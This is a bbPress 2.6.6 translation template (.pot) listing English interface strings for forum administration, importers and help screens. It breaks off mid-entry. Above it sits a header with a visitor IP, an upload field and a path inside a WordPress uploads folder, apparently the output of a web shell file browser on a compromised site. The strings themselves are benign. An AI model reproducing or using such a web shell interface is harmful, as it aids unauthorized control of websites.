Your IP : 216.73.217.176


Current Path : /home/bechata/mp/wp-content/uploads/2022/ejn73c/
Upload File :
Current File : /home/bechata/mp/wp-content/uploads/2022/ejn73c/bbpress.tar

bbpress.pot000066600000510716151771460300006752 0ustar00# Copyright (C) 2020 The bbPress Contributors
# This file is distributed under the GPLv2 or later (license.txt).
msgid ""
msgstr ""
"Project-Id-Version: bbPress 2.6.6\n"
"Report-Msgid-Bugs-To: https://bbpress.trac.wordpress.org\n"
"POT-Creation-Date: 2020-11-06 01:22:02+00:00\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"PO-Revision-Date: 2020-MO-DA HO:MI+ZONE\n"
"Last-Translator: JOHN JAMES JACOBY <jjj@bbpress.org>\n"
"Language-Team: ENGLISH <jjj@bbpress.org>\n"
"X-Generator: grunt-wp-i18n 1.0.3\n"

#: bbpress.php:146 bbpress.php:153
msgid "Cheatin&#8217; huh?"
msgstr ""

#: bbpress.php:515
msgid "bbPress Forums"
msgstr ""

#: bbpress.php:541
msgid "bbPress Topics"
msgstr ""

#: bbpress.php:567
msgid "bbPress Replies"
msgstr ""

#: bbpress.php:711
msgid "Most popular topics"
msgstr ""

#: bbpress.php:724
msgid "Topics with no replies"
msgstr ""

#: bbpress.php:761
msgid "bbPress Item Count"
msgstr ""

#: bbpress.php:798
msgid "bbPress User Activity"
msgstr ""

#: includes/admin/actions.php:180 includes/admin/forums.php:538
#: includes/admin/settings.php:281 includes/admin/settings.php:302
#: includes/admin/tools/common.php:437 includes/admin/topics.php:854
#: includes/extend/buddypress/activity.php:197
#: includes/extend/buddypress/activity.php:391
#: includes/forums/template.php:2660 includes/topics/template.php:47
#: includes/topics/template.php:48
#: templates/default/bbpress/content-statistics.php:30
#: templates/default/bbpress/loop-forums.php:21
msgid "Topics"
msgstr ""

#: includes/admin/actions.php:185 includes/admin/actions.php:197
#: includes/admin/forums.php:539 includes/admin/settings.php:289
#: includes/admin/settings.php:310 includes/admin/tools/common.php:440
#: includes/admin/topics.php:390 includes/admin/topics.php:856
#: includes/core/theme-compat.php:704
#: includes/extend/buddypress/activity.php:207
#: includes/extend/buddypress/activity.php:392
#: includes/forums/template.php:2714 includes/replies/template.php:49
#: includes/replies/template.php:50
#: templates/default/bbpress/content-statistics.php:35
#: templates/default/bbpress/loop-forums.php:23
#: templates/default/bbpress/loop-replies.php:20
#: templates/default/bbpress/loop-replies.php:46
#: templates/default/bbpress/loop-topics.php:21
msgid "Replies"
msgstr ""

#: includes/admin/actions.php:192 includes/admin/actions.php:204
#: includes/admin/forums.php:537 includes/admin/metaboxes.php:113
#: includes/admin/metaboxes.php:432 includes/admin/metaboxes.php:496
#: includes/admin/replies.php:665 includes/admin/settings.php:352
#: includes/admin/topics.php:855 includes/extend/buddypress/groups.php:51
#: includes/extend/buddypress/groups.php:52 includes/forums/template.php:50
#: templates/default/bbpress/loop-forums.php:20
msgid "Forum"
msgstr ""

#: includes/admin/actions.php:209 includes/admin/metaboxes.php:130
#: includes/admin/metaboxes.php:523 includes/admin/replies.php:666
#: includes/admin/settings.php:360 includes/topics/template.php:49
#: templates/default/bbpress/content-single-topic-lead.php:23
#: templates/default/bbpress/content-single-topic-lead.php:91
#: templates/default/bbpress/loop-topics.php:18
msgid "Topic"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:234
msgid "Learn More"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:235
msgid "Hide For Now"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:238
msgid "bbPress requires a manual database upgrade. %s or %s."
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:467
#: includes/admin/classes/class-bbp-admin.php:468
#: includes/admin/classes/class-bbp-admin.php:477
#: includes/admin/classes/class-bbp-admin.php:478
#: includes/admin/tools/common.php:434 includes/admin/tools.php:30
#: includes/admin/users.php:93 includes/common/widgets.php:626
#: includes/extend/buddypress/loader.php:42
#: includes/extend/buddypress/loader.php:189
#: includes/extend/buddypress/loader.php:311
#: includes/extend/buddypress/loader.php:376 includes/forums/template.php:48
#: includes/forums/template.php:49 includes/forums/template.php:67
#: templates/default/bbpress/content-statistics.php:25
#: templates/default/bbpress/user-profile.php:34
msgid "Forums"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:490
#: includes/admin/classes/class-bbp-admin.php:491
#: includes/admin/classes/class-bbp-admin.php:499
#: includes/admin/classes/class-bbp-admin.php:500
msgid "Welcome to bbPress"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:514
#: includes/admin/classes/class-bbp-admin.php:515
#: includes/admin/classes/class-bbp-admin.php:536
#: includes/admin/classes/class-bbp-admin.php:537
#: includes/admin/classes/class-bbp-admin.php:1319
#: includes/admin/classes/class-bbp-admin.php:1417
msgid "Update Forums"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:727
msgid "Settings"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:732
msgid "About"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:938
#: includes/admin/classes/class-bbp-admin.php:1018
#: includes/common/classes.php:493 includes/replies/template.php:2565
msgid "%1$s - %2$s"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1036
msgid "Welcome to bbPress %s"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1038
msgid ""
"bbPress is fun to use, contains no artificial colors or preservatives, and "
"is absolutely wonderful in every environment. Your community is going to "
"love using it."
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1064
#: includes/admin/classes/class-bbp-admin.php:1138
msgid "What&#8217;s New"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1066
#: includes/admin/classes/class-bbp-admin.php:1140
msgid "Credits"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1071
msgid "Forum Subscriptions"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1075
msgid "Subscribe to Forums"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1076
msgid "Now your users can subscribe to new topics in specific forums."
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1080
msgid "Manage Subscriptions"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1081
msgid "Your users can manage all of their subscriptions in one convenient location."
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1087
msgid "Converters"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1091
msgid ""
"We&#8217;re all abuzz about the hive of new importers, AEF, Drupal, FluxBB, "
"Kunena Forums for Joomla, MyBB, Phorum, PHPFox, PHPWind, PunBB, SMF, "
"Xenforo and XMB. Existing importers are now sweeter than honey with "
"improved importing stickies, topic tags, forum categories and the sting is "
"now gone if you need to remove imported users."
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1097
msgid "Theme Compatibility"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1098
msgid "Better handling of styles and scripts in the template stack."
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1102
msgid "Polyglot support"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1103
msgid "bbPress fully supports automatic translation updates."
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1107
msgid "User capabilities"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1108
msgid "Roles and capabilities have been swept through, cleaned up, and simplified."
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1114
#: includes/admin/classes/class-bbp-admin.php:1254
msgid "Go to Forum Settings"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1144
msgid "bbPress is created by a worldwide swarm of busy, busy bees."
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1146
msgid "Project Leaders"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1150
msgid "Founding Developer"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1154
msgid "Lead Developer"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1158
msgid "Feature Virtuoso"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1162
msgid "Tool Maven"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1166
msgid "Contributing Developers"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1170
#: includes/admin/classes/class-bbp-admin.php:1174
msgid "Core Developer"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1178
msgid "Project Emeriti"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1182
msgid "Feature Developer"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1186
msgid "Integration Testing"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1190
msgid "Contributors to bbPress 2.6"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1275
#: includes/admin/classes/class-bbp-admin.php:1298
msgid "Update Forum"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1287
#: includes/admin/classes/class-bbp-admin.php:1337
msgid "All done!"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1288
#: includes/admin/classes/class-bbp-admin.php:1338
msgid "Go Back"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1297
msgid "You can update your forum through this page. Hit the link below to update."
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1372
msgid ""
"Warning! Problem updating %1$s. Your server may not be able to connect to "
"sites running on it. Error message: %2$s"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1397
msgid ""
"If your browser doesn&#8217;t start loading the next page automatically, "
"click this link:"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1398
msgid "Next Forums"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:1416
msgid ""
"You can update all the forums on your network through this page. It works "
"by calling the update script of each site automatically. Hit the link below "
"to update."
msgstr ""

#: includes/admin/classes/class-bbp-converter-base.php:154
msgid "Database connection failed."
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:162
#: includes/admin/settings.php:1794
msgid "Start"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:163
msgid "Continue"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:166
msgid "Starting Import..."
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:167
msgid "Continuing Import..."
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:170
msgid "Import Finished."
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:171
msgid "Import Stopped (by User.)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:172
msgid "Import Halted (Error.)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:173
msgid "Database Connection Failed."
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:176
msgid "Finished"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:177
msgid "Stopped"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:178
msgid "Starting"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:179
msgid "Doing step %s..."
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:180
msgid "Next in %s seconds..."
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:513
msgid "Readying sync-table"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:514
msgid "Sync-table ready"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:517
msgid "Deleting previously converted data (%1$s through %2$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:524
msgid "Skipping sync-table clean-up"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:539
msgid "No users to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:540
msgid "All users imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:543
msgid "Converting users (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:547
msgid "Skipping user clean-up"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:562
msgid "No passwords to clear"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:563
msgid "All passwords cleared"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:566
msgid "Delete default WordPress user passwords (%1$s through %2$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:570
msgid "Skipping password clean-up"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:584
msgid "No forums to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:585
msgid "All forums imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:588
msgid "Converting forums (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:602
msgid "No forum parents to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:603
msgid "All forum parents imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:606
msgid "Calculating forum hierarchy (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:620
msgid "No forum subscriptions to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:621
msgid "All forum subscriptions imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:624
msgid "Converting forum subscriptions (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:638
msgid "No topics to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:639
msgid "All topics imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:642
msgid "Converting topics (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:656
msgid "No anonymous topic authors to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:657
msgid "All anonymous topic authors imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:660
msgid "Converting anonymous topic authors (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:674
msgid "No stickies to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:675
msgid "All stickies imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:678
msgid "Calculating topic stickies (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:692
msgid "No super stickies to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:693
msgid "All super stickies imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:696
msgid "Calculating topic super stickies (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:710
msgid "No closed topics to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:711
msgid "All closed topics imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:714
msgid "Calculating closed topics (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:728
msgid "No topic tags to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:729
msgid "All topic tags imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:732
msgid "Converting topic tags (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:746
msgid "No topic subscriptions to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:747
msgid "All topic subscriptions imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:750
msgid "Converting topic subscriptions (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:764
msgid "No favorites to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:765
msgid "All favorites imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:768
msgid "Converting favorites (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:782
msgid "No replies to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:783
msgid "All replies imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:786
msgid "Converting replies (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:800
msgid "No anonymous reply authors to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:801
msgid "All anonymous reply authors imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:804
msgid "Converting anonymous reply authors (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:818
msgid "No threaded replies to import"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:819
msgid "All threaded replies imported"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:822
msgid "Calculating threaded replies parents (%1$s through %2$s of %3$s)"
msgstr ""

#: includes/admin/classes/class-bbp-converter.php:833
msgid "Import Finished"
msgstr ""

#: includes/admin/classes/class-bbp-topic-replies-list-table.php:59
#: includes/admin/replies.php:667 includes/admin/topics.php:858
#: templates/default/bbpress/loop-replies.php:18
#: templates/default/bbpress/loop-replies.php:44
#: templates/default/bbpress/loop-search.php:19
#: templates/default/bbpress/loop-search.php:41
msgid "Author"
msgstr ""

#: includes/admin/classes/class-bbp-topic-replies-list-table.php:60
msgid "Content"
msgstr ""

#: includes/admin/classes/class-bbp-topic-replies-list-table.php:61
msgid "Replied"
msgstr ""

#: includes/admin/classes/class-bbp-topic-replies-list-table.php:90
msgid "Unapprove"
msgstr ""

#: includes/admin/classes/class-bbp-topic-replies-list-table.php:91
#: includes/admin/replies.php:235 includes/admin/replies.php:818
#: includes/admin/topics.php:240 includes/admin/topics.php:1023
#: includes/replies/template.php:2029 includes/topics/template.php:2807
msgid "Spam"
msgstr ""

#: includes/admin/classes/class-bbp-topic-replies-list-table.php:92
#: includes/admin/replies.php:833 includes/admin/topics.php:1037
#: includes/replies/template.php:1961 includes/topics/template.php:2515
msgid "Trash"
msgstr ""

#: includes/admin/classes/class-bbp-topic-replies-list-table.php:144
#: includes/admin/replies.php:796 includes/admin/topics.php:975
#: includes/admin/topics.php:994 includes/admin/users.php:260
msgid "View"
msgstr ""

#: includes/admin/classes/class-bbp-topic-replies-list-table.php:149
#: includes/admin/settings.php:392 includes/common/template.php:2331
#: includes/forums/template.php:54 includes/replies/template.php:55
#: includes/replies/template.php:1849 includes/topics/template.php:53
#: includes/topics/template.php:2403
#: templates/default/bbpress/user-details.php:74
msgid "Edit"
msgstr ""

#: includes/admin/classes/class-bbp-topic-replies-list-table.php:249
msgid "No replies to this topic."
msgstr ""

#: includes/admin/forums.php:101 includes/admin/replies.php:115
#: includes/admin/settings.php:1871 includes/admin/tools/help.php:95
#: includes/admin/topics.php:119
msgid "Overview"
msgstr ""

#: includes/admin/forums.php:103
msgid ""
"This screen displays the individual forums on your site. You can customize "
"the display of this screen to suit your workflow."
msgstr ""

#: includes/admin/forums.php:109 includes/admin/replies.php:123
#: includes/admin/topics.php:127
msgid "Screen Content"
msgstr ""

#: includes/admin/forums.php:111 includes/admin/replies.php:125
#: includes/admin/topics.php:129
msgid ""
"You can customize the display of this screen&#8217;s contents in a number "
"of ways:"
msgstr ""

#: includes/admin/forums.php:113
msgid ""
"You can hide/display columns based on your needs and decide how many forums "
"to list per screen using the Screen Options tab."
msgstr ""

#: includes/admin/forums.php:114
msgid ""
"You can filter the list of forums by forum status using the text links in "
"the upper left to show All, Published, or Trashed forums. The default view "
"is to show all forums."
msgstr ""

#: includes/admin/forums.php:115
msgid ""
"You can refine the list to show only forums from a specific month by using "
"the dropdown menus above the forums list. Click the Filter button after "
"making your selection. You also can refine the list by clicking on the "
"forum creator in the forums list."
msgstr ""

#: includes/admin/forums.php:122 includes/admin/replies.php:137
#: includes/admin/topics.php:141
msgid "Available Actions"
msgstr ""

#: includes/admin/forums.php:124
msgid ""
"Hovering over a row in the forums list will display action links that allow "
"you to manage your forum. You can perform the following actions:"
msgstr ""

#: includes/admin/forums.php:126
msgid ""
"<strong>Edit</strong> takes you to the editing screen for that forum. You "
"can also reach that screen by clicking on the forum title."
msgstr ""

#: includes/admin/forums.php:127
msgid ""
"<strong>Close</strong> will mark the selected forum as &#8217;closed&#8217; "
"and disable the ability to post new topics and replies in it."
msgstr ""

#: includes/admin/forums.php:128
msgid ""
"<strong>Trash</strong> removes your forum from this list and places it in "
"the trash, from which you can permanently delete it."
msgstr ""

#: includes/admin/forums.php:129
msgid ""
"<strong>View</strong> will either show you what your draft forum will look "
"like if you publish it, or take you to your live site to view it. Which "
"link depends on your forum&#8217;s status."
msgstr ""

#: includes/admin/forums.php:136 includes/admin/replies.php:153
#: includes/admin/tools/repair.php:63 includes/admin/tools/repair.php:180
#: includes/admin/tools/upgrade.php:60 includes/admin/tools/upgrade.php:192
#: includes/admin/topics.php:159
msgid "Bulk Actions"
msgstr ""

#: includes/admin/forums.php:138
msgid ""
"You can also edit or move multiple forums to the trash at once. Select the "
"forums you want to act on using the checkboxes, then select the action you "
"want to take from the Bulk Actions menu and click Apply."
msgstr ""

#: includes/admin/forums.php:139
msgid ""
"When using Bulk Edit, you can change the metadata (categories, author, "
"etc.) for all selected forums at once. To remove a forum from the grouping, "
"just click the x next to its name in the Bulk Edit area that appears."
msgstr ""

#: includes/admin/forums.php:144 includes/admin/forums.php:200
#: includes/admin/replies.php:161 includes/admin/replies.php:215
#: includes/admin/settings.php:1937 includes/admin/tools/help.php:43
#: includes/admin/tools/help.php:72 includes/admin/tools/help.php:130
#: includes/admin/topics.php:167 includes/admin/topics.php:220
msgid "For more information:"
msgstr ""

#: includes/admin/forums.php:145 includes/admin/forums.php:201
#: includes/admin/replies.php:162 includes/admin/replies.php:216
#: includes/admin/settings.php:1938 includes/admin/tools/help.php:44
#: includes/admin/tools/help.php:73 includes/admin/tools/help.php:131
#: includes/admin/topics.php:168 includes/admin/topics.php:221
msgid ""
"<a href=\"https://codex.bbpress.org\" target=\"_blank\">bbPress "
"Documentation</a>"
msgstr ""

#: includes/admin/forums.php:146 includes/admin/forums.php:202
#: includes/admin/replies.php:163 includes/admin/replies.php:217
#: includes/admin/settings.php:1939 includes/admin/tools/help.php:45
#: includes/admin/tools/help.php:74 includes/admin/tools/help.php:132
#: includes/admin/topics.php:169 includes/admin/topics.php:222
msgid ""
"<a href=\"https://bbpress.org/forums/\" target=\"_blank\">bbPress Support "
"Forums</a>"
msgstr ""

#: includes/admin/forums.php:157
msgid ""
"The title field and the big forum editing Area are fixed in place, but you "
"can reposition all the other boxes using drag and drop, and can minimize or "
"expand them by clicking the title bar of each box. Use the Screen Options "
"tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, "
"Discussion, Slug, Author) or to choose a 1- or 2-column layout for this "
"screen."
msgstr ""

#: includes/admin/forums.php:161 includes/admin/replies.php:178
#: includes/admin/topics.php:184
msgid "Customizing This Display"
msgstr ""

#: includes/admin/forums.php:167
msgid "Title and Forum Editor"
msgstr ""

#: includes/admin/forums.php:169
msgid ""
"<strong>Title</strong> - Enter a title for your forum. After you enter a "
"title, you&#8217;ll see the permalink below, which you can edit."
msgstr ""

#: includes/admin/forums.php:170
msgid ""
"<strong>Forum Editor</strong> - Enter the text for your forum. There are "
"two modes of editing: Visual and HTML. Choose the mode by clicking on the "
"appropriate tab. Visual mode gives you a WYSIWYG editor. Click the last "
"icon in the row to get a second row of controls. The HTML mode allows you "
"to enter raw HTML along with your forum text. You can insert media files by "
"clicking the icons above the forum editor and following the directions. You "
"can go to the distraction-free writing screen via the Fullscreen icon in "
"Visual mode (second to last in the top row) or the Fullscreen button in "
"HTML mode (last in the row). Once there, you can make buttons visible by "
"hovering over the top area. Exit Fullscreen back to the regular forum "
"editor."
msgstr ""

#: includes/admin/forums.php:173
msgid ""
"<strong>Publish</strong> - You can set the terms of publishing your forum "
"in the Publish box. For Status, Visibility, and Publish (immediately), "
"click on the Edit link to reveal more options. Visibility includes options "
"for password-protecting a forum or making it stay at the top of your blog "
"indefinitely (sticky). Publish (immediately) allows you to set a future or "
"past date and time, so you can schedule a forum to be published in the "
"future or backdate a forum."
msgstr ""

#: includes/admin/forums.php:176
msgid ""
"<strong>Featured Image</strong> - This allows you to associate an image "
"with your forum without inserting it. This is usually useful only if your "
"theme makes use of the featured image as a forum thumbnail on the home "
"page, a custom header, etc."
msgstr ""

#: includes/admin/forums.php:181 includes/admin/forums.php:214
#: includes/forums/template.php:68
msgid "Forum Attributes"
msgstr ""

#: includes/admin/forums.php:183
msgid "Select the attributes that your forum should have:"
msgstr ""

#: includes/admin/forums.php:185
msgid ""
"<strong>Type</strong> indicates if the forum is a category or forum. "
"Categories generally contain other forums."
msgstr ""

#: includes/admin/forums.php:186
msgid ""
"<strong>Status</strong> allows you to close a forum to new topics and "
"forums."
msgstr ""

#: includes/admin/forums.php:187
msgid ""
"<strong>Visibility</strong> lets you pick the scope of each forum and what "
"users are allowed to access it."
msgstr ""

#: includes/admin/forums.php:188
msgid ""
"<strong>Parent</strong> dropdown determines the parent forum. Select the "
"forum or category from the dropdown, or leave the default \"No parent\" to "
"create the forum at the root of your forums."
msgstr ""

#: includes/admin/forums.php:189
msgid "<strong>Order</strong> allows you to order your forums numerically."
msgstr ""

#: includes/admin/forums.php:195 includes/admin/replies.php:210
#: includes/admin/topics.php:215
msgid "Publish Box"
msgstr ""

#: includes/admin/forums.php:237 includes/admin/settings.php:246
#: includes/admin/tools/reset.php:42
msgid "Forum Moderators"
msgstr ""

#: includes/admin/forums.php:267 includes/admin/settings.php:206
#: includes/admin/settings.php:445 includes/admin/tools/common.php:452
#: includes/admin/topics.php:480 includes/extend/buddypress/loader.php:260
#: templates/default/bbpress/user-details.php:67
msgid "Subscriptions"
msgstr ""

#: includes/admin/forums.php:361
msgid "The forum was not found."
msgstr ""

#: includes/admin/forums.php:366 includes/admin/replies.php:464
#: includes/admin/topics.php:582
msgid "You do not have permission to do that."
msgstr ""

#: includes/admin/forums.php:451
msgid "There was a problem opening the forum \"%1$s\"."
msgstr ""

#: includes/admin/forums.php:452
msgid "Forum \"%1$s\" successfully opened."
msgstr ""

#: includes/admin/forums.php:457
msgid "There was a problem closing the forum \"%1$s\"."
msgstr ""

#: includes/admin/forums.php:458
msgid "Forum \"%1$s\" successfully closed."
msgstr ""

#: includes/admin/forums.php:540 includes/admin/metaboxes.php:659
msgid "Moderators"
msgstr ""

#: includes/admin/forums.php:541
#: templates/default/bbpress/content-single-topic-lead.php:19
#: templates/default/bbpress/content-single-topic-lead.php:87
msgid "Creator"
msgstr ""

#: includes/admin/forums.php:542 includes/admin/replies.php:668
#: includes/admin/topics.php:859
msgid "Created"
msgstr ""

#: includes/admin/forums.php:543 includes/admin/topics.php:860
#: templates/default/bbpress/loop-forums.php:26
#: templates/default/bbpress/loop-topics.php:24
msgid "Last Post"
msgstr ""

#: includes/admin/forums.php:578
msgid "&mdash;"
msgstr ""

#: includes/admin/forums.php:595 includes/forums/template.php:581
msgid "No Topics"
msgstr ""

#: includes/admin/forums.php:631
msgid "Close this forum"
msgstr ""

#: includes/admin/forums.php:633
msgid "Open this forum"
msgstr ""

#: includes/admin/forums.php:710 includes/admin/forums.php:722
#: includes/forums/template.php:79
msgid "Forum updated."
msgstr ""

#: includes/admin/forums.php:712 includes/admin/forums.php:735
msgid "View forum"
msgstr ""

#: includes/admin/forums.php:716 includes/admin/replies.php:977
#: includes/admin/topics.php:1181
msgid "Custom field updated."
msgstr ""

#: includes/admin/forums.php:719 includes/admin/replies.php:980
#: includes/admin/topics.php:1184
msgid "Custom field deleted."
msgstr ""

#: includes/admin/forums.php:727
#. translators: %s: date and time of the revision
msgid "Forum restored to revision from %s"
msgstr ""

#: includes/admin/forums.php:733
msgid "Forum created."
msgstr ""

#: includes/admin/forums.php:739
msgid "Forum saved."
msgstr ""

#: includes/admin/forums.php:744
msgid "Forum submitted."
msgstr ""

#: includes/admin/forums.php:746 includes/admin/forums.php:758
#: includes/admin/forums.php:766
msgid "Preview forum"
msgstr ""

#: includes/admin/forums.php:753
msgid "Forum scheduled for: %s."
msgstr ""

#: includes/admin/forums.php:755 includes/admin/replies.php:1016
#: includes/admin/topics.php:1220
#. translators: Publish box date format, see http:php.net/date
msgid "M j, Y @ G:i"
msgstr ""

#: includes/admin/forums.php:764
msgid "Forum draft updated."
msgstr ""

#: includes/admin/metaboxes.php:43
msgid "%s User"
msgid_plural "%s Users"
msgstr[0] ""
msgstr[1] ""

#: includes/admin/metaboxes.php:52
msgid "%s Forum"
msgid_plural "%s Forums"
msgstr[0] ""
msgstr[1] ""

#: includes/admin/metaboxes.php:61
msgid "%s Topic"
msgid_plural "%s Topics"
msgstr[0] ""
msgstr[1] ""

#: includes/admin/metaboxes.php:70
msgid "%s Reply"
msgid_plural "%s Replies"
msgstr[0] ""
msgstr[1] ""

#: includes/admin/metaboxes.php:79
msgid "%s Topic Tag"
msgid_plural "%s Topic Tags"
msgstr[0] ""
msgstr[1] ""

#: includes/admin/metaboxes.php:105
msgid "Discussion"
msgstr ""

#: includes/admin/metaboxes.php:147
msgid "Reply"
msgid_plural "Replies"
msgstr[0] ""
msgstr[1] ""

#: includes/admin/metaboxes.php:166 includes/admin/settings.php:368
#: includes/topics/template.php:3387
msgid "Topic Tag"
msgid_plural "Topic Tags"
msgstr[0] ""
msgstr[1] ""

#: includes/admin/metaboxes.php:190
msgid "Users &amp; Moderation"
msgstr ""

#: includes/admin/metaboxes.php:198
msgid "User"
msgid_plural "Users"
msgstr[0] ""
msgstr[1] ""

#: includes/admin/metaboxes.php:217
msgid "Hidden Topic"
msgid_plural "Hidden Topics"
msgstr[0] ""
msgstr[1] ""

#: includes/admin/metaboxes.php:239
msgid "Hidden Reply"
msgid_plural "Hidden Replies"
msgstr[0] ""
msgstr[1] ""

#: includes/admin/metaboxes.php:261
msgid "Empty Topic Tag"
msgid_plural "Empty Topic Tags"
msgstr[0] ""
msgstr[1] ""

#: includes/admin/metaboxes.php:285
msgid "You are using <span class=\"b\">bbPress %s</span>."
msgstr ""

#: includes/admin/metaboxes.php:317 includes/admin/metaboxes.php:318
#: includes/admin/metaboxes.php:404
msgid "Type:"
msgstr ""

#: includes/admin/metaboxes.php:329 includes/admin/metaboxes.php:330
#: includes/admin/metaboxes.php:416 includes/admin/metaboxes.php:479
#: templates/default/bbpress/form-forum.php:121
